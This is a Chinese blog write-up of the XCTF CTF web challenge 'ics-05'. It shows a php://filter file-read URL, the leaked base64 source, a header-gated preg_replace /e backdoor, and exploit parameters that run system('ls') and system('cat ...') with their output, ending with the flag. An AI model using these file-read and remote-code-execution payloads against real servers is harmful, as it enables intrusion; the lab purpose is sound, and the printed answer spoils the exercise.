攻防世界WEB进阶之ics-05

原创

harry_c 于 2019-08-24 17:06:28 发布 2121 收藏
分类专栏： 攻防世界 文章标签： 攻防世界web进阶 ics-05 安全 渗透
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/harry_c/article/details/100054836
版权

攻防世界 专栏收录该内容
29 篇文章 2 订阅
订阅专栏

攻防世界WEB进阶之ics-05

1、描述
2、实操
3、答案

1、描述

难度系数： 3星
题目来源： XCTF 4th-CyberEarth
题目描述：其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
题目场景： 点击获取在线场景
题目附件： 暂无
首先打开场景，进入系统设备维护中心，没有发现什么，查找到相关漏洞一个，查看源码：

2、实操

使用 http://111.198.29.45:44908/index.php/?page=php://filter/read=convert.base64-encode/resource=index.php
查看源码漏洞，发现了base64编码的代码
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+Cj
whRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT
0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbn
Q9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCw
gaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1a
S9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY
2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3
M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8
L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bG
UiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGR
zZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUiIGlkPSJ0ZXN0Ij48L3RhYmxlPgogICAgPHNjcmlwdCB0eXBlPSJ0ZX
h0L2h0bWwiIGlkPSJzd2l0Y2hUcGwiPgogICAgICAgIDwhLS0g6L+Z6YeM55qEIGNoZWNrZWQg55qE54q25oCB5Y+q5piv5ryU5
6S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2V4IiB2YWx1ZT0ie3tkLmlkfX0iIGxheS1za2luPSJzd2l
0Y2giIGxheS10ZXh0PSLlvIB85YWzIiBsYXktZmlsdGVyPSJjaGVja0RlbW8iIHt7IGQuaWQ9PTEgMDAwMyA/ICdjaGVja2VkJyA6IC
cnIH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0ibGF5dWkvbGF5dWkuanMiIGNoYXJzZXQ9InV0Zi04Ij48L3Njcml

wdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHRhYmxlID0gbG
F5dWkudGFibGUsCiAgICAgICAgICAgIGZvcm0gPSBsYXl1aS5mb3JtOwoKICAgICAgICB0YWJsZS5yZW5kZXIoewogICAgICAg
ICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICB1cmw6ICcvc29tcnRoaW5nLmpzb24nLAogICAgICAgICAgICBjZWxsTWluV2l
kdGg6IDgwLAogICAgICAgICAgICBjb2xzOiBbCiAgICAgICAgICAgICAgICBbCiAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnb
nVtYmVycycgfSwKICAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnY2hlY2tib3gnIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZ
mllbGQ6ICdpZCcsIHRpdGxlOiAnSUQnLCB3aWR0aDogMTAwLCB1bnJlc2l6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgIC
AgICAgICAgICAgICAgICB7IGZpZWxkOiAnbmFtZScsIHRpdGxlOiAn6K6+5aSH5ZCNJywgdGVtcGxldDogJyNuYW1lVHBsJyB9L
AogICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnYXJlYScsIHRpdGxlOiAn5Yy65Z+fJyB9LAogICAgICAgICAgICAgICAgICAg
ICB7IGZpZWxkOiAnc3RhdHVzJywgdGl0bGU6ICfnu7TmiqTnirbmgIEnLCBtaW5XaWR0aDogMTIwLCBzb3J0OiB0cnVlIH0sCiAgI
CAgICAgICAgICAgICAgIHsgZmllbGQ6ICdjaGVjaycsIHRpdGxlOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wb
GV0OiAnI3N3aXRjaFRwbCcsIHVucmVzaXplOiB0cnVlIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgXSwKICAgICAgIC
AgICAgcGFnZTogdHJ1ZQogICAgICAgIH0pOwogICAgfSk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2
UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIgZWxlbWVudCA9IGxheXVpLmVsZW1lbnQ7IC8v5a+86Iiq55qEaG
92ZXLmlYjmnpzjgIHkuoznuqfoj5zljZXnrYnlip/og73vvIzpnIDopoHkvp3otZZlbGVtZW505qih5Z2XCiAgICAgICAgLy/nm5HlkKzlr7zoiKr
ngrnlh7sKICAgICAgICBlbGVtZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGlvbihlbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZ
S5sb2coZWxlbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgP
C9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgPSAkX0dFVFtwYWdlXTsKCmlmICghpc3NldCgkcGFnZSkpIHsKCgoKaWYgKGN0eXB
lX2FsbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW
50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjx
iciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0
eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwC
gogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllK
Ck7CiAgICAgICAgICAgICB9CgogICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHs
KICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICBpZiAoc3RycG9zKCR
wYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgfQoKICAgICAgI
CAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgIC
AgICAgICB9CiAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgZGllKCk7Ci
AgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy
/mIrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZG
Y5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZ
WNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBs
YWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJ
uKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF
0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/
PgoKPC9ib2R5PgoKPC9odG1sPgo=

```
使用base64在线解码后得到关键函数：
//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>
</body>
</html>
```

根据函数我们得知，输入的参数有三个，并且会代入到一个preg_replace函数中，查询该函数的功能。

```
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分， 以 replacement 进行替换。
参数说明：
    $pattern: 要搜索的模式，可以是字符串或一个字符串数组。

    $replacement: 用于替换的字符串或字符串数组。

    $subject: 要搜索替换的目标字符串或字符串数组。

    $limit: 可选，对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1（无限制）。

    $count: 可选，为替换执行的次数。
```

返回值
如果 subject 是一个数组， preg_replace() 返回一个数组， 其他情况下返回一个字符串。
如果匹配被查找到，替换后的 subject 被返回，其他情况下 返回没有改变的 subject。如果发生错误，返回 NULL。
于是：

使用加入参数?pat=/(.)/e&rep=system('ls')&sub=harry得到：

```
<br >Welcome My Admin ! <br >
index.html
index.php
js
layui
logo.png
s3chahahaDir
start.sh
瑙嗗浘.png
css
index.html
index.php
js
layui
logo.png
s3chahahaDir
start.sh
瑙嗗浘.png
```

使用加入参数?pat=/(.)/e&rep=system('ls+s3chahahaDir/flag')&sub=harr得到：

```
    element.on('nav(demo)', function(elem) {
      //console.log(elem)
      layer.msg(elem.text());
    });
  });
  </script>

<br >Welcome My Admin ! <br >flag.php
flag.php

</body>
```

https://blog.csdn.net/harry_c

使用加入参数?pat=/(.*)/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=harry得到：答案

3、答案

至此最终的flag是：cyberpeace{c43b4737749f7ca5d0ee2a11e76a0452}